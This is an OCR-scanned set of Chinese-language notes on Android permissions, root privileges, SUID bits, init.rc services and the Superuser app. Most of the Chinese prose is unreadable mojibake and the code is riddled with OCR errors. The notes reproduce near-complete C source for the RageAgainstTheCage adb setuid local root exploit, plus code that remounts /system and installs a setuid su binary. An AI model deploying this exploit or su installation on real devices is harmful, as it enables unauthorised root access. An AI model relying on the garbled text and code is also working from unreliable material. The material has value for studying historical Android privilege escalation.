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<1> f# FIMODE_WORLD_READABLE and/or MODE_WORLD WRITEABLE##iC .

When creating a new file with getSharedPreferences(String, int), openFileOutput(String, int), or
openOrCreateDatabase(String, int, SQLiteDatabase.CursorFactory), you can use the
MODE_WORLD_READABLE and/or MODE_WORLD_WRITEABLE flags to allow any other package to
read/write the file. When setting these flags, the file is still owned by your application, but its global read and/or
write permissions have been set appropriately so any other application can see it.
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A particular permission may be enforced at a number of places during your program's operation:

At the time of a call into the system, to prevent an application from executing certain functions.When starting an
activity, to prevent applications from launching activities of other applications.Both sending and receiving
broadcasts, to control who can receive your broadcast or who can send a broadcast to you.\WWhen accessing
and operating on a content provider.Binding or starting a service.
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int execl(cONst char *path, const char *arg, ...);

int execlp(const char *file, const char *arg, ...);

int execle(const char *path, const char *arg, ..., char *const envp][]);
int execv(const char *path, char *const argV{]);

int execvp(const char *file, char *const argv[]);

int execve(const char *path, char *const argv(], char *const envpl[]);
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package com.visit.dialoglog;
import java.io.DatalnputStream;
import java.io.DataOutputStream;
import java.io.lOException;
import android.app.Activity;
import android.os.Bundle;
import android.util.Log;
public class VisitRooffileActivity extends Activity {
private static final String TAG = "VisitRooftfileActivity";
Process process = null;
Process process1 = null;
DataOutputStream os = null;
DatalnputStream is = null;
[** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedinstanceState) {
super.onCreate(savedinstanceState);
setContentView(R.layout.main);
try {
process = Runtime.getRuntime().exec("/system/xbin/su"); /*iX B 7] i F B & Hsu

MYEARES  (JEH if (myuid = AID_ROOT && myuid != AID_SHELL) {*/

os = new DataOutputStream(process.getOutputStream());
is = new DatalnputStream(process.getinputStream());
os.writeBytes("/system/bin/ls" + " \n"); /X B AT LL#AT BB root BURKIFERF T
os.writeBytes(" exit \n");
os.flush();
process.waitFor();
} catch (Exception e) {
Log.e(TAG, "Unexpected error - Here is what | know:" + e.getMessage());
} finally {
try {
if (os = null) {
os.close();
}
if (is = null) {
is.close();
}
process.destroy();
} catch (Exception e) {

}
M/ get the root privileges
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android.permission.ACCESS_CHECKIN_PROPERTIES

//FEVFBE ' 15 )" properties” F fEcheckinBE E P, BB W LAE R A%
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/1T — TR FF U 18] Cell DERWiFi# 57 SR SREBUHE B FR) 4o B
android.permission.ACCESS_FINE_LOCATION

/1S — U5 S RALE (feps)
android.permission.ACCESS_LOCATION_EXTRA_COMMANDS

[/ SOV LR RE U5 1) B4 i B 3R P
android.permission.ACCESS_MOCK_LOCATION

[/ FEVFRE P B AR DAL B 4R (1 K
android.permission.ACCESS_NETWORK_STATE

[/ FEHFRE P 1A RGSMM 2445 1B
android.permission.ACCESS_SURFACE_FLINGER

/1 SOV FE 748 F SurfaceFlinger)& B 7 P
android.permission.ACCESS_WIFI_STATE

/1 Fe YRR P U 1) Wi-Fi 4 R 7815 B
android.permission.ADD_SYSTEM_SERVICE

[/ FEHREFF B R AR F RS

android.permission.BATTERY_STATS

[ RABRFEFFHRBATER
android.permission.BLUETOOTH

IRV &R TR T 5%
android.permission.BLUETOOTH_ADMIN

[/ VTR R B BC X W T 5%

android.permission.BRICK

/1B RBEB S W& (R R
android.permission.BROADCAST_PACKAGE_REMOVED

[ RHRF BN RREEE—NNAEFAEEBRE
android.permission.BROADCAST_STICKY
NIRVF—ANFEF) 5 Hintents

android.permission.CALL_PHONE

IRV — AL HE R SR TR S P T 5 S A
android.permission.CALL_PRIVILEGED
[ARF—ANEFRITEMSE, B&KX2SHEFELRSH P H®&EHR - #Hil
android.permission.CAMERA

/178 RV 6] 456 P R AR e &%
android.permission.CHANGE_COMPONENT_ENABLED_STATE

/R —NEF R B — AN A B Al i 5 F B AR A
android.permission.CHANGE_CONFIGURATION

NRF—ANEFEREETRE, WAt

android.permission.CHANGE_NETWORK_STATE
[/ VTR P B P 4 R BR TS
android.permission.CHANGE_WIFI_STATE

[/ FEHRE P R Wi-FE RS

android.permission.CLEAR_APP_CACHE
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android.permission.CLEAR_APP_USER_DATA
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android.permission.CONTROL_LOCATION_UPDATES
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android.permission.DELETE_CACHE_FILES

1/ SO AR P I R 2 A S A

android.permission.DELETE_PACKAGES

[ RF AR HERE

android.permission.DEVICE_POWER
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android.permission.DIAGNOSTIC

/1 FVFFRFFRWS T 3 U5

android.permission.DISABLE_KEYGUARD

[/ SCVFRE P 48 P B 2 B

android.permission.DUMP
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android.permission.EXPAND_STATUS_BAR

[FE—ANEFY A TEREAZ androidJT & M 378 B i & — N KA Windows Mobile 1 FIFERAR P
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android.permission.FORCE_BACK
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android.permission.GET_ACCOUNTS

/1 Vi 1 — Mk 7 51 R #E Accounts Service H

android.permission.GET_PACKAGE_SIZE

/1S — N REF IR T package & F Z R A&

android.permission.GET_TASKS
[RHF—DEFIRRE BA RIWBRREEITIES, —MEREESRS, —REEHEFS
android.permission.HARDWARE_TEST

[/ eV i A

android.permission.INJECT_EVENTS

[RHF—NEFBIRA P E s iR, PUSEREER| —IFER, android T A& MR B R hookBARIE
android.permission.INSTALL_PACKAGES

/IR —NIEFF % packages

android.permission.INTERNAL_SYSTEM_WINDOW

[/ RVFITITE DE R R G H -

android.permission.INTERNET

[/ R FFAT I MK E T

android.permission.MANAGE_APP_TOKENS

[RAEFEE @I, 5. z- orderBON MR )IZFF 5 AT D EE S P
android.permission.MASTER_CLEAR
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android.permission.MODIFY_AUDIO_SETTINGS
114> TR AR O A B 32 L B
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android.permission.MODIFY_PHONE_STATE

[ RAFBBIEIVRS, R, APEOE
android.permission.MOUNT_UNMOUNT_FILESYSTEMS
[/ S EE BN R EE B R AW BB B i
android.permission.PERSISTENT_ACTIVITY

/IR —ATEF R E b activities BR
android.permission.PROCESS_OUTGOING_CALLS

[/ FHRRFF AL B BCR R AR B
android.permission.READ_CALENDAR
/SRR R B P B P dE
android.permission.READ_CONTACTS

[/ SRR PP B B P BR R B
android.permission.READ_FRAME_BUFFER

[/ FEVF R 5 o B B8 2 5 R A 7 0 ot 2 o 8037
android.permission.READ_INPUT_STATE

[/ SRR P IR [B] 4 BT R SRS
android.permission.READ_LOGS

(R IEBUEE R4 H S0
android.permission.READ_OWNER_DATA

[/ SRR P S BT R o HE
android.permission.READ_SMS
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android.permission.READ_SYNC_SETTINGS
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android.permission.READ_SYNC_STATS
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android.permission.RECEIVE_BOOT_COMPLETED
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android.permission.RECEIVE_SMS

(R I — AR RIS S, DR
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android.permission.RESTART_PACKAGES
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SGDAUMTHZ, HHEXKE TSGIDZJE, % H 3 T LKA A B 3 #EA % B FAH F )
JEDar::

Stick bit(k5 1)

NIRRT, ZREFRAEEFEREENFHRE-NEBITETFHEN, WZEFFEH, TIRATER
mFE], ARESRNERMEBBINE. Linux 50X SRR SR TI6E, —SHAKUNIXR AL T XA
BE o

Stick bite] MERH T H, £RE THMWSAK EF FTEPSCHEME SR, KRB FHEE Mroot ] DA Bl . IMEFRK
AT AEI Sk RFEtmp/ B ZRIER, XANEFRE THWAL. Brelidt, Fra AR DA% H X5 AT
(777) , XFEEWEFTAE ANEFLAEAmp/ T EAIZ G B 3. BE i EStick bit A H Fra & Mroot4 Ge Mk B
Fo XFEEEMAF ReERERET B SRS, AR ER AN RIS . T ERR:
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=Mz, RETHMNHEERRASXANEET GFE: @FERAIVEHchmod 0777 filenamef) 77 Xk B
filename) @ LRy, WM #EASUID. SGID X Sticky bit)

44 SUID

24SGID

134 Sticky bit

BB — AR SN -rwsr-xr-X’, B FsEH A RRF, FrLl2SUID, Hith, 7EJRJ6r7552 BiiEZE N
4, kR “chmod 4755 filename” k% & .

SUIDW. AT A “chmod u+s filename” k&% &, “chmod u-s filename”RBUESUID# & ; [F#E, SGIDH LA
Fi“chmod g+s filename”, “chmod g-s filename” >REXJESGID# & .

Android & Z; root#{ fi# J& # 4 ¥t
KB rootB PR A ARG 40 T«

Process process = Runtime.getRuntime().exec("su");
DataOutputStream os =new
DataOutputStream(process.getOutputStream());
os.writeBytes("exit\n");

os.flush();

process.waitFor();

M EERLEANTUE R EREBITsuER, HELrootIMEAESURRFF, Android R ERIAIsufE P R ftrootflshellm] LA
FiEfrsu, WREXAPRHIER, BRZErootBHifE 1 !
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BE— T E&roothi i L Isutl iR i &,

BROVRIsuI T E & T A A Rroot, RH IR busybox M EEE:, RATERbusyboxHI BRI, HiEE
T SUIDMISGID, F HFr A& MATHE HERRroot. XHEIZ Tbusybox B P, busyboxiz 7L FE 3R 15 1)
ZrootMI AR . sufEFUIRIEE B3I —NMHRER, HILE CUREFA Zroot (FRATHIH IR RsuL L w
Fbusybox, BT HAE KRR Zroot, HAWERRREFH IR

B — T A KrootFHL LsuFE BB ESUID, FiE KLinuxRE LKsufE 788 F ZE & BSUIDAL.
TR I suth B2 8 TSUIDLL, XHEEEIER - e LBgiTsufefF, sufEF&KiEroot

W, WRIEHSURE R AT DAE M P AR R Broot (BN H B SUIDAL, 1247 HiZrootfU R, XHHABRIET H SR
R

Android R A B KR A R BBl R B M R AT HISURFF, BIARS P HBASURR P & BERIESEFR A A BUR (R B rootfl
shell ] P A B BUEIT RABINKsUiEfF, HAA P BTMaSBEER)  MBHR)EKsul A E i AP R, XAEE @R
P AT LU TsufEfF, ] LUEE sule 7R B SRR 27t


http://my.unix-center.net/~Simon_fu/?p=1069

rootf f#- & A R FA A4 Linux W 8T (Linux A %A BT Be G IX A KBIIRIAAZLE) , 7 DARAR rootik f# it R FER R A H 1
ANAGsu, HERKRKE — LA, BUOEERFERLTET R BT suRREA B SRR FER S REL 2
RAEMER . BT L — 1B G T rootid FHLERSH —~SuperUserS 2 /7 5K ik A 7 8 3 A YR SR fS rootiU SR (H R B B i R 4
SUFEFF 2= 5 3 2 75 ZErootiU fR I¥, 'EFETEroothl At 72 Hh 3R 5 rootB R, R 75 W # i Android R 4 B & T %A

1. WUBTadbZE %, —BMERERDIEF LR,
2. {HRadbIK1§H R Zshell -, TiA&root.

% TE—TadbLR, ®&HmAadbdRSEFEEET, AFENHKadbiZFREIRSS, adbdiIALR, HRE T adbHIABR. B
& 7 o] & F /system/core/adb T VRS, FHAndroid. mkiR¥ < &k BladbfMadbd K32 — RS, AJEiEid % RmiF.

EFadb.ciladb_mainik F /R & Bladbd 78 40 RS
1:int adb_main(int is_daemon)

2:{

4: property_get("ro.secure", value,"");
5: if (strcmp(value,"1") == 0) {
6: /I don't run as root if ro.secure is set...

7: secure = 1;

10:

11: if (secure) {

12: ..

13: setgid(AID_SHELL);
14: setuid(AID_SHELL);
15: ...

16: }

17:}

MHBATRT LLE Bladbd 2K R Ziro.secureJ@ e, R ZBHAINESIEE AP BRFEL Bshel H P . —RI&HT
B I 7E /default. prop U R #f2

1: ro.secure=1
XK 2 fFadbd 3 3 FIBHE B 3 B 5% Bishell F 7 .

RIEBRATEN B — TadbdEH ARMRESIHYE? ZREEIntrchMERRARS, Hint#EEREZ). RIOIEFintehHUNT
WA

1: # adbd is controlled by the persist.service.adb.enable system property

2: service adbd /sbin/adbd



3: disabled

XtAndroid /@ R4 /DA T MR AR £ 518, fEinit.re P BCE H R AR S 3 HIRHR AR R rootBUR (B initi 4T R rooti iR ,
HyBEFtiroot) o HIMLIRAIATLLAIEEadbdfE P 7E AT «

1:/* then switch user and group to "shell" */
2: setgid(AID_SHELL);
3: setuid(AID_SHELL),
ARIDZ BT #R R rootB iR, A AT IX P ) 2 J5 74 22 ishellALFR 7 -

XAERATHE AT CAB] H rooth AT 2 FR 3k BrootBU R I H¥E T, #at & ik L setgid fsetuid B AT R, A2 FEF RM, 3
kS Erooti R FTHIEIT T -

33X BT g — 1 fRT R U B -

1. W) & B Kro.secure)E N1, MadbdtB¥iB 1T Eshell F AR T
2. adb L B AR ratc BT Eshell FH P AR T

3. ratc—HAIETFHE (ratcBIZM FREFBESEITEhel AR T) , BEBRETFERBLH, BREF#
2, b Hshell AP HBEREERYE, EHE|EEshell P 3 EZBCARLIMIT_NPROCHIE % (B¥Eadbd. ratc R HFFE
F) , XratcH Bl FHERM. XIEREadbd, adbdi#FERE NRANdroid RZRS, S Android R4
HENE G, X fEratctBERF =4 FREF. adbdfEFHAT L HisetgidfsetuidZ 7, ratcE&E8IE T —1NHH
T, IAshell A FHERBCELET], NadbdiFFEHATsetgidfsetuid &R WIFEBRBBRAITEIMEEZ
Jeadbd &4k S AT . X FEadbd#HFEKE 2B 1T Eroot B R FHE T »

X BT FadoiE %, NWadb¥ BT ErootBU R FHE T .

i BT KA AIRATR A F RageAgainstTheCagelifl, A EAfFadbdikfFroott R, sk RadbikfF T roothfR. & ZHlroottl
PR THRIRERET ST, ERBEZERsUEFERSEH, HMRRETABAREENERET.

H e fFadbd X MR H SRR B K, FRA DL mBEANZNHT
1:/* then switch user and group to "shell" */
2:if (setgid(AID_SHELL) 1= 0){
3 exit(1);
4}
5:if (setuid(AID_SHELL) != 0) {
6: exit(1);
7:}

IR R PsetgidMsetui dRBIATRM, MadbdiEBRFRY, MILXMRALELT .

http://www. cve. mitre. org/cgi—bin/cvename. cgi?name=CVE-2006-2607



http://blog. claudxiao. net/wp—content/uploads/2011/04/rageagainstthecage. c

/% android 1.x/2.x adb setuid() root exploit

* (C) 2010 The Android Exploid Crew
* Needs to be executed via adb -d shell. It may take a while until
* all process slots are filled and the adb connection is reset.
* N This is PoC code for educational purposes only!!!
* If you run it, it might crash your device and make it unusable!
* So you use it at your own risk!
¥/
#include <stdio.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <fentl.h>
#include <errno.h>
#include <string.h>
#include <signal.h>

#include <stdlib.h>

void die(const char *msQ)

{
perror(msg);

exit(errno);


http://blog.claudxiao.net/wp-content/uploads/2011/04/rageagainstthecage.c

pid_t find_adb()

{
char buf[256];
inti=0, fd=0;

pid_t found = 0;

for (i = 0; i < 32000; ++i) {

sprintf(buf, "/proc/%d/cmdline", i);

if ((fd = open(buf, O_RDONLY)) < 0)
continue;

memset(buf, 0, sizeof(buf));

read(fd, buf, sizeof(buf) - 1);

close(fd);

if (strstr(buf, "/sbin/adb™)) {
found = i;

break;

}

return found;

void restart_adb(pid_t pid)

{
kill(pid, 9);

void wait_for_root_adb(pid_t old_adb)

{
pid tp=0;



for () {
p = find_adb();
if (p!=0&&p != old_adb)
break;
sleep(1);
}
sleep(5);

ill(-1, 9);

int main(int argc, char **argv)
{
pid_tadb_pid =0, p;
int pids = 0, new_pids = 1;
int pepe[2];
charc=0;

struct rlimit rl;

printf("[*] CVE-2010-EASY Android local root exploit (C) 2010 by 743C\n\n");

printf("[*] checking NPROC limit ...\n");

if (getrlimit(RLIMIT_NPROC, &rl) < 0)

die("[-] getrlimit");

if (rl.rlim_cur == RLIM_INFINITY) {
printf("[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting.\n");

exit(1);



printf("[+] RLIMIT_NPROC={%Iu, %Ilup\n", rl.rlim_cur, rl.rlim_max);

printf("[*] Searching for adb ...\n");

adb_pid = find_adb();

if (ladb_pid)

die("[-] Cannot find adb");

printf("[+] Found adb as PID %d\n", adb_pid);

printf("[*] Spawning children. Dont type anything and wait for reset!\n");

printf("[*\n[*] If you like what we are doing you can send us PayPal money to\n"
"[*] 7-4-3-C@web.de so we can compensate time, effort and HW costs.\n"
"[*] If you are a company and feel like you profit from our work,\n"
"[*] we also accept donations > 1000 USD!\n");

printf("[*]\n[*] adb connection will be reset. restart adb server on desktop and re-login.\n");

sleep(5);

if (fork() > 0)

exit(0);

setsid();

pipe(pepe);

[* generate many (zombie) shell-user processes so restarting
* adb's setuid() will fail.

* The whole thing is a bit racy, since when we kill adb

* there is one more process slot left which we need to

* fill before adb reaches setuid(). Thats why we fork-bomb
*in a seprate process.

*/



if (fork() == 0) {
close(pepel0]);
for () {
if ((p = fork()) == 0) {
exit(0);
Yelse if (p < 0) {
if (new_pids) {
printf("\n[+] Forked %d childs.\n", pids);
new_pids = O;

write(pepe[1], &c, 1);

close(pepe[1]);
}
}else {
++pids;
}
}
}
close(pepe[1]);

read(pepel0], &c, 1);

restart_adb(adb_pid);

if (fork() == 0) {
fork();
for (;;)

sleep(0x743C);

wait_for_root_adb(adb_pid);



return O;

AndroidEF I Z &R %

FEAndroid &4, RGN —MNMAERF (apk) QT —MHAMHE. IANMHAMARHRZRAS, Taed
B RAKEE, ReEViE A CRCHME xR, AR EBAEETT RN AREF K. XS CUR T aE
R MARFRAEEE, WRARRK LA,

BHRE —LBNARFEFEN N —BALREN. hinSettingfeF, EFEAWIFI, 7E RS A2 MR ST
HEERE. BFEMENX—8)LWE? Androidiliid — @& & m LIRS systemtl fR . $kS systemA P AR, FELL
THRB:

1. 7£ B I 72 ¥ i AndroidManife st.xml9 ) manifest¥i & A

android: sharedUserld="android.uid.system"iX 4 j& {4 .

2. B % Android.mk3C#, i ALOCAL_CERTIFICATE := platformiXx — 1T
3. A MM K%, £RKapkt B B RZN RRBRT .

— 1B T systemf AT LATE R A F RIB FMIBR S, iR &5 % . (HEF BN T systemiU fRIiE & A
B thin: wEMRIPHbE, ifconfigy4 & 7 Zroott R . FATLMBE /Ui, fEAndroid T M HREF 2%
B BEE FrootiU R, H R IR IR AN TR T F Erooth fR/E 4 e ? REetEMES it £ . BAIRE & A
%, ¥ EBMRIPHYE, rooth R FHEM4RN:

ifconfig eth0 192.168.1.188

FEH 8 A 7 B system Al P AUR TR & dr @ —AVEEMK, HEASRBIRBAMTEE, WL EHLIXATY
REWE o

1. RABHRRINtHRCE NG GRERE, ZHERA T rootl PR Tii. MR R4 NMAHRERFKER
(ATEAfsocketstIl) » FFARISEM. XA N AP BT A AT root P AR BUAESS T .

2. SER—AMEMEI RS, SR RTIRERTE NS N AR FHAT R K a2 Linuxpl 225 808 AR 1 17 &
T HEAAPAT IS

fE P BN R IPHuGE B, AR JE AR R B BT LA T B

Android R F & i # H init.rc service$k %5 rooti fR

KA F A8 fEandroid B 2 7 3 & mount— MNFSHI R4, HAEBITmountdy & % A E rootB R A W L. —EIBM T, 7
Android APK ZE & A Be 3R 5 rootBL R 1 .

L—F R BB HinitE 3K Service, R BIAndroid B2 F 2 FF #AT rooti FR i Ay & B S B — AN R R 4%, XAME AT B
Android M F 2 $h AT rootBUBR i A 4

AU S B — PR AE R Android N F 72 FFmount NF S SCA & St i 1]


http://my.unix-center.net/~Simon_fu/?p=531

Init.rc Service
fEANdroid & Ziinit.rcF & X 1R £ Service, Initrcd & XK Service i 24 InitEFE G2, XK AT LAFREroothU R .

BB ARG ctl.start”, B cll.start’ & B NREIZEITHIService, %A%, Android & Z¥ & FHAREZ T ctl.start’ R& @ b
1 EMSenice. IBAEBITE RINGATELSBE NG N initsve. o RZK BT, NATEFT LS A 71X 4ME R # € Service
AT BB BL

Android & %; J& t (property )[R

i Android J& P “ctl.start’ N2 T B S EA AT LR B I, Wproperty_service.cH HIERS, #EAndroid R& BB ECH
handle_property_set_fd(), \JERS A 7] DL BH 2 5 ¢ B “ctl.”FF Sk i Android R4t JE 1, 45  F check_control_perms i R i &
W EFIBBR, R rooth fR MsystemAX R i B2 F #2574 B DB E“ctl. " FF Sk IAndroid R4 B i . 75 W H < & control_perms
ERBEF R E R FService. MRS AT LLE 2], £ A Bhproperty_perms[] # x& X i 81 4% 7F 3k ¥ property & ik
B Bxroott SFEH F Ui B, AIEsystemf .

41

T LA B 3 H I mount nfsSC A4 £ G 1 B -
A, EEE X — M ATmountfIAR, I B AL F/system/etc/mount_nfs.sh, & LT :
1: #! /system/bin/sh

2:

3: Isystem/bin/busybox mount -o rw,nolock -t nfs 192.168.1.6:/nfs_srv /data/mnt
AERTHREM LA H#ATHR .
B. fEinitreH I A—A Service®E X, &XMTF:

1: service mount_nfs /system/etc/mount_nfs.sh

2: oneshot

3: disabled
C. ikLH KN FHRERFIKEsystem IR, 77 vk LAl &= 15

D.7E 5 C 5 R #% B System & Zi & 1 “ctl.start”A“mount_nfs”, X#Android R & & RATETmount nfsRAEBIET » A
A% A F System.getProperty, XANERHRA REHRIVMH I RZGEM:. RG89 Handroid.os.SystemProperties, % idJNIA
FC/C++EKIAPI property getflproperty setii#1.

SystemProperties.set("ctl.start","mount_nfs");
E&GEECNAERFF, EEinit.sve.mount nfs’Android & ZiProperty, M &EHATER. BT :
1:while(true)
2:{
3: mount_rt = SystemProperties.get("init.svc.mount_nfs","");
4:  if(mount_rt!= null && mount_rt.equals("stopped"))
5. {

6: return true;



8:
9: try
10: {

11: Thread.sleep(1000);
12: }catch(Exception ex){
13: Log.e(TAG,"Exception: " + ex.getMessage());
14: }
15:}
init#E R4S — 1 service IBAFY, T LATRATI T ZE 4 VIR E Wservice AT 4 5
13X (R )R B BUR
init.rc 1 M test1 test2 test3 3K
mkdir /data/misc/test1l 0770 root root
mkdir /data/misc/test2 0770 wifi wifi
mkdir /data/misc/test3 0770 system misc
Hrp
testl H FMownerZroot, groupth £root
test2 H & HJownerf&wifi , groupth 2 wifi

test3 H FHowners&system , groupfemisc  (fF4] F F & J& T group misc)

service xxxx /system/bin/xxxx
user root
disabled

oneshot

service yyyy /system/bin/yyyy
user system
disabled

oneshot

service zzzz /system/bin/zzzz



user wifi
disabled

oneshot

xxxx AR 2% AT LAV 1A] testd, test2, test3
yyyy AR %5 AT DA 1) test3

2222 AR %% P LAV 19 test2, test3

T.android_filesystem_config.hH15E L AID_ROOT AID_SYSTEM AID_MISCZ& 5% & X AL IR

36055 Bk R4 R B W LA FB 7EAID_ROOTHIAID_SYSTEMZ 8] 0 — AN A5 BR A FH 7,384 i 3 1) 1% property 25 360/ ?

it EE KX, Android M FHFRF L AL 95 R H init.rcd B LK Service T « XAEEREIAndroid M FH R F L3R
Trooti PR, AIIERAndroid RAF KA R, & WMRICEE S initrc SO, T BN R 5 0 E KB systemBUR .

android superuser.apk £ ¥ rootA B J& # 43 tr

JE R FI A T android BB AMEBURIA: CVE-2010-EASYAN ZergRush. B MR 5 22 i #4358 Ut -

1, CVE-2010-EASY: linuxf) MR R =, R TIRBI R |WERREEMER, 7E android# Hinitidh 2 R & X
Bef, ERXANNtHEEASRN KA EWIRLSIRIE, AERNZEKER, TR REN, BEEPITAERE, MK 20
REE R — LA, T NER AR ERAER & Phroot S B 4T 1. R IAR BT PSR & HE & — AR L HIME I T BB B (ko S ), RIERLK
R EINER &M, RnRRIE. FFRwifi%s, ZIRERILEITE, &4 [datallocaltmp/rootshell —ANHshiziishells

2, ZergRush/f¥: B rooth fRivold#F2 43 F T libsysutils.sofE, ZEAMRBEERE S, H AT Blrooth SRIATHIA

Hishellcode .

3. EEAFIHREadbiRBURF, TNEIHRACERBIET .

T 2 RE B Fsuperuser.apk, XANFEFE ZrootIh)E, &I THREHrootBU PR I, Bhlb#BREFIEA.
JERD otk «

http://superuser.googlecode.com/svn/trunk


http://superuser.googlecode.com/svn/trunk

& B ] REIRATIR 43 A VRS -

1. superusers /&4 #1138 ¥ 48 F rooth fR ?

2. superusers& N 7 B & rsutg iR R 2

Bl superuserfIsufe e 2 W@ ), MAIMEA F AR 2=, — AN EjavaByLF, —ATElinuxi) B z#fEF.

F:H H A active: SuperuserActivity#1 SuperuserRequestActivity.

H R SuperuserActivity = B 2 SR EE AL BK, ML EMNMER DL R FE oot R T, &SRR E R
SuperuserRequestActivity it 2 F >k # 13 F ' B 518 MEF M Arooti ], 2B AW, 2E—HAW, BRAALE.

BRANAABHESCR, & sqlitedEEX M, fE:

/data/data/com.koushikdutta.superuser/databases/superuser.sqlite

rootf) 4 i #i & 1E /system/bin/ F—ANHshLi, AR EEH AR i suscfE. @2 T LA A iZ%suskiE 17 rootA B () iy
4. superuserapkH kB T — MR FEKISUREF . —FFifisuperuser& i fll/system/bin/suft BIEFE, £ £ BB EKsu:

File su = new File(”/system/bin/su”);

// R suSCHF R B AL, WRAFEN B ER [F
if (!su. exists())
{

Toast toast = Toast.makeText (this, “Unable to find

/system/bin/su. ”, Toast.LENGTH_LONG) ;
toast. show() ;

return;

J/ Rl susC R e, BN, REETIR
//IBRKN—RE, WA NsuCEIER, BiERETH.
if (su.length() == suStream. available())
{

suStream. close() ;

return; |}

// BRI B/ system/bin/su SCHELE, EHERAN L, WIEBFHsukS
#”/data/data/com. koushikdutta. superuser/su”
// HE3|/system/bin/su.



byte[] bytes = new byte[suStream. available()];

DatalnputStream dis = new DatalnputStream(suStream) ;

dis. readFully (bytes) ;

FileOutputStream suQutStream = new FileOutputStream(”/data/data/com. koushikdutta. superuser/su”);
suOutStream. write (bytes) ;

suOutStream. close () ;

Process process = Runtime. getRuntime (). exec (“su”);

DataQutputStream os = new DataOutputStream(process. getOutputStream()) ;

os. writeBytes (“mount —oremount,rw /dev/block/mtdblock3 /system\n”);

os. writeBytes (“busybox cp /data/data/com. koushikdutta. superuser/su /system/bin/su\n”);
os. writeBytes (“busybox chown 0:0 /system/bin/su\n”);

os. writeBytes (“chmod 4755 /system/bin/su\n”);

os.writeBytes(“exit\n”) ;

os. flush() ;

LHRBIKsuE & 23S F K, G 2 FroothUf], superuserZ/E 4B, BxRsulEBHEAT, XKER
f;

sprintf (sysCmd, “am start —a android. intent.action. MAIN

-n

com. koushikdutta. superuser/com. koushikdutta. superuser. SuperuserRequestActivity

—ei uid %d —ei pid %d > /dev/null”, g puid, ppid);

if (system(sysCmd))
return executionFailure (“am

”

E}E%amﬁé\’ %T—Famﬂgﬁﬁﬁr %ET
fEAndroid, BR T MWAH LEIEF I, B LUNS1TRNER, FRMRMSTLREam BaINTER

S adb shell
Ssu
#amstart-n {f(package)® } / {B&} {{&E3(activity) BFR}

FEFF I 28 7] LU B2 F I AndroidManifest.xml B S0 43 2, PATHE SR (caleulator) ABI, B
<manifest xmlns:android="http://schemas.android.com/apk/res/android" ...
package="com.android.calculator2" ...>...

T E S (calculator) HIBBIHERN:

# am start -n com.android.calculator2/com.android.calculator2.Calculator

—BEMAE, —AAndroidM XN —ANTE. BEEENR, A—BITEEFLZANES (activity) , TiA—NHFH—
ANTHE. Bltn: FEAndroid A F, MusicHIVideosEFENRFH, 1B B A1 FH AR & packages/apps/MusiciX — AN THE. TMAEXAS
TFEFAndroidManifestxmI X, BEE T AFEKESD (activity)

Music 1 Video (FRFM) KB H1EA:



# am start -n com.android.music/com.android.music.MusicBrowserActivity

# am start -n com.android.music/com.android.music.VideoBrowserActivity

# am start -n com.android.music/com.android.music.MediaPlaybackActivity
FERTY

am start -a android.intent.action.VIEW -d http://www.google.cn/

RITHE -

am start -a android.intent.action.CALL -d tel:10086

Ja %l google mapE e FAL K -

am start -a android.intent.action.VIEW geo:0,0?g=beijing



usage: am [subcommand] [options]

start an Activity: am start [-D] [-W] <INTENT>
-D: enable debugging
-W: wait for launch to complete

start a Service: am startservice <INTENT>
send a broadcast Intent: am broadcast <INTENT>

start an Instrumentation: am instrument [flags] <COMPONENT>
-r: print raw results (otherwise decode REPORT_KEY STREAMRESULT)
-e <NAME> <VALUE>: set argument <NAME> to <VALUE>
-p <FILE>: write profiling data to <FILE>
-w: wait for instrumentation to finish before returning

start profiling: am profile <PROCESS> start <FILE>
stop profiling: am profile <PROCESS> stop

<INTENT> specifications include these flags:
[-a <ACTION>] [-d <DATA URI>] [-t <MIME_TYPE>]
[-c <CATEGORY> [-c <CATEGORY>] ...]
[-e|--es <EXTRA KEY> <EXTRA STRING_VALUE> ..]
[--esn <EXTRA KEY> ...]
[--ez <EXTRA KEY> <EXTRA BOOLEAN_VALUE> ..]
[-e|--ei <EXTRA _KEY> <EXTRA INT_VALUE> ...]
[-n <COMPONENT>] [-f <FLAGS>]
[--grant-read-uri-permission] [--grant-write-uri-permission]
[--debug-log-resolution]
[--activity-brought-to-front] [--activity-clear-top]
[--activity-clear-when-task-reset] [--activity-exclude-from-recents]
[--activity-launched-from+-history] [--activity-multiple-task]
[--activity-no-animation] [--activity-no-history]
[--activity-no-user-action] [--activity-previous-is-top]
[--activity-reorder-to-front] [--activity-reset-task-if-needed]
[--activity-single-top]
[--receiver-registered-only] [--receiver-replace-pending]
[<URI>]

RN, BRSuUEARIERF 2 R1rrooti BRIE R R 3T ? JFR2 IR H 4 BiERIE

Fi, superuseritt i F* BB BN -

/data/data/com.koushikdutta.superuser/databases/superuser.sqlite  $dE FEd, SR )5 sudkie B =i 508 ok
FIWT R S



static int checkWhitelist ()
{
sqlite3 *db;
int rc = sqlite3_open_v2(DBPATH, &db, SQLITE_OPEN READWRITE, NULL);
if (!rc)
{
char *errorMessage;
char query[1024];
sprintf (query, “select * from whitelist where id=%d limit 1;”, g puid);
struct whitelistCallInfo callInfo;
calllnfo. count = 0;
calllnfo.db = db;
rc = sqlite3_exec(db, query, whitelistCallback, &calllnfo, &errorMessage);
if (rc != SQLITE OK)
{
sqlite3d close(db);
return 0;
}
sqlite3d close(db);
return calllInfo. count;
}
sqlite3d close(db);
return 0;

}

FREL—$&root)5 B



¥%A:

1E androidHJAPIH B Mt SystemClock. setCurrentTimeMillis () ¥ REK R LN E, WHELERELAHAXNREERZRAK, LT
PIBRIL R EM., Flogcatd M £1535]"Unable to open alarm driver: Permission denied ”. XA EREEEHrootNREFZBITE R4 HEF
AU ZRUARBEINEERARFX—BERRENET, FEREMEETHA, MEXAHRERT AR,

FB-AFERE R, NI HEEEAndroid R ARSI T Fmake R4

1. £ FHFEF KIAndroidMani fest. xml § fimani fest ¥ £ # i Aandroid: sharedUserId="android. uid. system” X4 1.

2. 5% Android. mk3C#F, BIALOCAL_CERTIFICATE := platformX—4T

3. fF iy &K% 1E, A BRMapkit B BR R AR AR T .

BEATTERBUR, AL FIT RN B IR IR T Fnake kg %«

1. @, jnAandroid:sharedUserId="android. uid. system” X4 @ M.

2. fifeclipsefu i tapk3C i, HARAXNapk AR HEH T

3. A Bir R4 HplatformB SR EF4rapk AR5 . KB HCBUREL, BHARBFHM, ERMAndroidFiSH R P HALE
